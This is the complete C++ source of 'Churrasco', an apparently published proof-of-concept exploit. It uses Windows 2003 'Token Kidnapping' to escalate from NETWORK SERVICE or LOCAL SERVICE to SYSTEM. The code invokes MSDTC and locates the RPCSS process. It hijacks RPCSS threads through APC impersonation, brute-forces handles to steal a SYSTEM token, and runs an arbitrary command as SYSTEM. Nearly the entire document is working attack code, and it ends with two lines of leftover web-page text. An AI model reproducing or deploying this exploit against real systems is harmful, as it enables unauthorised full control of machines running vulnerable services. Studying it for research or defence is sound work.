// Argeniss - Information Security - www.argeniss.com
// **Churrasco**
// Elevation of privileges PoC exploit for Token Kidnapping on Windows 2003
// http://www.argeniss.com/research/TokenKidnapping.pdf
// Author: Cesar Cerrudo
// Needs impersonation and assign primary token rights in order to work, by default NETWORK SERVICE and LOCAL SERVICE accounts have these rights
// Works fine in SQL Server running under any Windows account.
// Works fine in IIS only when ASP .NET Application Pool is running under NETWORK SERVICE or LOCAL SERVICE accounts, it needs some minor modifications to
// work on an Application Pool running under a regular user account since this kind of account will be able to impersonate but wonn't have assign primary token right by default
// Netstat code taken from http://www.codeguru.com/forum/archive/index.php/t-188092.html by ashotog
#include "stdafx.h"
BOOL InvokeMSDTC(){
//IIRC this code was taken from MSDN
ITransactionDispenser * pTransactionDispenser;
ITransaction * pTransaction;
HRESULT hr = S_OK ;
// Obtain a transaction dispenser interface pointer from the DTC.
DtcGetTransactionManagerEx(NULL,NULL,IID_ITransactionDispenser,0,0, (void **)&pTransactionDispenser);
if (FAILED (hr)) {
printf("/currasco/-->MSDTC service seems to have problems\n");
return (0);
}
pTransactionDispenser->BeginTransaction( NULL,ISOLATIONLEVEL_ISOLATED, ISOFLAG_RETAIN_DONTCARE, NULL, &pTransaction ) ;
return 1;
}
typedef struct _MIB_TCPROW_EX
{
DWORD dwState; // MIB_TCP_STATE_*
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwRemoteAddr;
DWORD dwRemotePort;
DWORD dwProcessId;
} MIB_TCPROW_EX, *PMIB_TCPROW_EX;
typedef struct _MIB_TCPTABLE_EX
{
DWORD dwNumEntries;
MIB_TCPROW_EX table[ANY_SIZE];
} MIB_TCPTABLE_EX, *PMIB_TCPTABLE_EX;
typedef struct _MIB_UDPROW_EX
{
DWORD dwLocalAddr;
DWORD dwLocalPort;
DWORD dwProcessId;
} MIB_UDPROW_EX, *PMIB_UDPROW_EX;
typedef struct _MIB_UDPTABLE_EX
{
DWORD dwNumEntries;
MIB_UDPROW_EX table[ANY_SIZE];
} MIB_UDPTABLE_EX, *PMIB_UDPTABLE_EX;
typedef DWORD (WINAPI *PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)(PMIB_TCPTABLE_EX*,BOOL,HANDLE,DWORD,DWORD);
PROCALLOCATEANDGETTCPEXTABLEFROMSTACK lpfnAllocateAndGetTcpExTableFromStack = NULL;
BOOL LoadExIpHelperProcedures(void)
{
HMODULE hModule;
hModule = LoadLibrary(_T("iphlpapi.dll"));
if (hModule == NULL)
return FALSE;
// XP and later
lpfnAllocateAndGetTcpExTableFromStack = (PROCALLOCATEANDGETTCPEXTABLEFROMSTACK)GetProcAddress(hModule,"AllocateAndGetTcpExTableFromStack");
if (lpfnAllocateAndGetTcpExTableFromStack == NULL)
return FALSE;
return TRUE;
}
BOOL IsImpersonationToken (HANDLE hToken, CHAR * cType)
{
DWORD ReturnLength;
SECURITY_IMPERSONATION_LEVEL TokenImpInfo;
TOKEN_TYPE TokenTypeInfo;
if(GetTokenInformation(hToken, TokenType, &TokenTypeInfo, sizeof(TokenTypeInfo), &ReturnLength)){
if (TokenTypeInfo==TokenImpersonation) {
if((GetTokenInformation(hToken, TokenImpersonationLevel, &TokenImpInfo, sizeof(TokenImpInfo), &ReturnLength)&& TokenImpInfo==SecurityImpersonation)){
if (cType) *cType='I';
return TRUE;
}
}
else {
if (cType) *cType='P'; //it's a primary token, TokenTypeInfo==TokenPrimary
return TRUE;
}
}
return FALSE;
}
DWORD RunCommandAsSystem(HANDLE hToken, LPSTR lpCommand)
{
HANDLE hToken2,hTokenTmp;
PROCESS_INFORMATION pInfo;
STARTUPINFO sInfo;
DWORD dwRes;
CHAR cType;
LPTSTR lpComspec;
LPSTR lpCommandTmp;
ZeroMemory(&sInfo, sizeof(STARTUPINFO));
ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION));
sInfo.cb= sizeof(STARTUPINFO);
sInfo.lpDesktop= "WinSta0\\Default";
IsImpersonationToken(hToken, &cType);
if (cType=='I'){
SetThreadToken(NULL, hToken);
OpenThreadToken(GetCurrentThread(),TOKEN_ALL_ACCESS,FALSE,&hTokenTmp);
SetThreadToken(NULL, NULL);
}
else
hTokenTmp=hToken;
DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ;
lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR));
GetEnvironmentVariable("comspec",lpComspec,1024);
lpCommandTmp= (LPSTR) malloc(1024*sizeof(CHAR));
strcpy(lpCommandTmp, "/c ");
strncat(lpCommandTmp, lpCommand, 500);
dwRes=CreateProcessAsUser(hToken2, lpComspec, lpCommandTmp, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo);
if (hTokenTmp!=hToken)
CloseHandle(hTokenTmp);
CloseHandle(hToken2);
return dwRes;
}
DWORD GetRpcssPid(void)
{
DWORD dwLastError, dwPort, dwSize, dwPid=0;
PMIB_TCPTABLE_EX lpBuffer = NULL;
PMIB_UDPTABLE_EX lpBuffer1 = NULL;
if (!LoadExIpHelperProcedures())
return 0;
dwLastError = lpfnAllocateAndGetTcpExTableFromStack(&lpBuffer,TRUE,GetProcessHeap(),0,2);
if (dwLastError == NO_ERROR)
{
for (dwSize = 0; dwSize < lpBuffer->dwNumEntries; dwSize++)
{
dwPort=((lpBuffer->table[dwSize].dwLocalPort & 0xFF00) >> 8) + ((lpBuffer->table[dwSize].dwLocalPort & 0x00FF) << 8);
if (dwPort==135 && lpBuffer->table[dwSize].dwState == 2)
{
dwPid = lpBuffer->table[dwSize].dwProcessId ;
break;
}
}
}
if (lpBuffer)
HeapFree(GetProcessHeap(),0,lpBuffer);
return dwPid;
}
BOOL GetTokenUser(HANDLE hToken, LPTSTR lpUserName)
{
DWORD dwBufferSize = 0;
SID_NAME_USE SidNameUse;
TCHAR DomainName[MAX_PATH];
DWORD dwUserNameSize= MAX_PATH * 2 ;
DWORD dwDomainNameSize = MAX_PATH * 2;
PTOKEN_USER pTokenUser;
GetTokenInformation(hToken, TokenUser, NULL,0,&dwBufferSize);
pTokenUser = (PTOKEN_USER) new BYTE[dwBufferSize];
memset(pTokenUser, 0, dwBufferSize);
if (GetTokenInformation(hToken, TokenUser, pTokenUser, dwBufferSize, &dwBufferSize)){
if (LookupAccountSid(NULL,pTokenUser->User.Sid,lpUserName,&dwUserNameSize,DomainName,&dwDomainNameSize,&SidNameUse)){
return TRUE;
}
}
return FALSE;
}
HANDLE GetSystemToken(HANDLE hToken,DWORD Pid){
HANDLE hTgtHandle=0;
TCHAR UserName[MAX_PATH];
HANDLE hProcess;
SetThreadToken(NULL,hToken);
hProcess=OpenProcess(PROCESS_DUP_HANDLE,NULL,Pid);
SetThreadToken(NULL,NULL);
if (hProcess) {
//Brute force token handles
for (DWORD hSrcHandle=4;hSrcHandle<0xffff;hSrcHandle+=4){
if(DuplicateHandle(hProcess,(HANDLE)hSrcHandle,GetCurrentProcess(),&hTgtHandle,0,FALSE,DUPLICATE_SAME_ACCESS )) {
if (IsImpersonationToken(hTgtHandle, NULL)){
if (GetTokenUser(hTgtHandle,UserName)){
if (!strcmp(UserName,"SYSTEM")){
printf ("/churrasco/-->Found SYSTEM token 0x%x\n",hTgtHandle);
return hTgtHandle;
}
else
printf ("/churrasco/-->Found %s Token\n", UserName);
}
}
CloseHandle(hTgtHandle);
}
}
CloseHandle(hProcess);
}
else {
printf ("/churrasco/-->Couldn't open Rpcss process\n");
return 0;
}
return 0;
}
//need to improve this!!!!
HANDLE GetNetServToken(){
HANDLE hToken;
TCHAR UserName[MAX_PATH];
for (DWORD j=0x4;j<=0xffff;j+=4){
hToken=(HANDLE)j;
if (IsImpersonationToken(hToken, NULL) ){
if(GetTokenUser(hToken, UserName)){
if (!strcmp(UserName,"NETWORK SERVICE")){
printf ("/churrasco/-->Found NETWORK SERVICE token 0x%x\n",hToken);
return hToken;
}
else
printf ("/churrasco/-->Found %s Token\n",UserName);
}
}
}
return 0;
}
int _tmain(int argc, _TCHAR* argv[])
{
DWORD dwRpcssPid;
TCHAR UserName[MAX_PATH];
DWORD dwCharCount = MAX_PATH;
LPSTR lpCommand;
HANDLE hToken, hSysToken, hNetServToken=0;
if (argc != 2) {
printf ("/churrasco/-->Usage: Churrasco.exe \"command to run\"\n");
return 0;
}
lpCommand= argv[1];
if(GetUserName(UserName, &dwCharCount)){
printf ("/churrasco/-->Current User: %s \n",UserName);
if (strcmp(UserName,"NETWORK SERVICE")){
printf ("/churrasco/-->Process is not running under NETWORK SERVICE account!\n");
printf ("/churrasco/-->Getting NETWORK SERVICE token ...\n");
//Call MSDTC to end up getting NETWORK SERVICE token in our process
InvokeMSDTC();
//Get NETWORK SERVICE impersonation token
hNetServToken=GetNetServToken();
if (hNetServToken==0){
printf ("/churrasco/-->Couldn't find NETWORK SERVICE token\n");
return 0;
}
}
}
else {
printf ("/churrasco/-->Couldn't get current user name\n");
return 0;
}
//Get RPCSS PID
printf ("/churrasco/-->Getting Rpcss PID ...\n");
dwRpcssPid=GetRpcssPid();
//Set NETWORK SERVICE token as current thread token so we can open RPCSS threads
SetThreadToken(NULL,hNetServToken);
if (dwRpcssPid){
printf ("/churrasco/-->Found Rpcss PID: %d \n",dwRpcssPid);
//Brute force threads id, I'm lazy to use native APIs, this works the same
printf ("/churrasco/-->Searching for Rpcss threads ...\n");
for (DWORD Tid=0;Tid < 0xffff ;Tid+=4) {
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,TRUE,Tid);
if (hThread && dwRpcssPid==GetProcessIdOfThread(hThread)) {
printf ("/churrasco/-->Found Thread: %d \n",Tid);
//Make thread impersonate Rpcss service account
QueueUserAPC((PAPCFUNC)ImpersonateSelf,hThread,0x2 );
Sleep(500);
//If RPCSS thread is impersonating then we can get RPCSS process token
if (OpenThreadToken(hThread,TOKEN_ALL_ACCESS,FALSE,&hToken)){
printf ("/churrasco/-->Thread impersonating, got NETWORK SERVICE Token: 0x%x\n",hToken);
printf ("/churrasco/-->Getting SYSTEM token from Rpcss Service...\n");
//Get SYSTEM token from RPCSS service
hSysToken=GetSystemToken(hToken,dwRpcssPid);
if (hSysToken){
printf ("/churrasco/-->Running command with SYSTEM Token...\n");
if (RunCommandAsSystem(hSysToken, lpCommand)){
printf ("/churrasco/-->Done, command should have ran as SYSTEM!\n");
break;
}
else {
printf ("/churrasco/-->Couldn't run command, try again!\n");
return 0;
}
}
}
printf ("/churrasco/-->Thread not impersonating, looking for another thread...\n");
}
CloseHandle(hThread);
}
}
else {
printf ("/churrasco/-->Couldn't find Rpcss PID!\n");
}
return 0;
}
SeImpersonatePrivilege
最新推荐文章于 2023-08-11 13:30:00 发布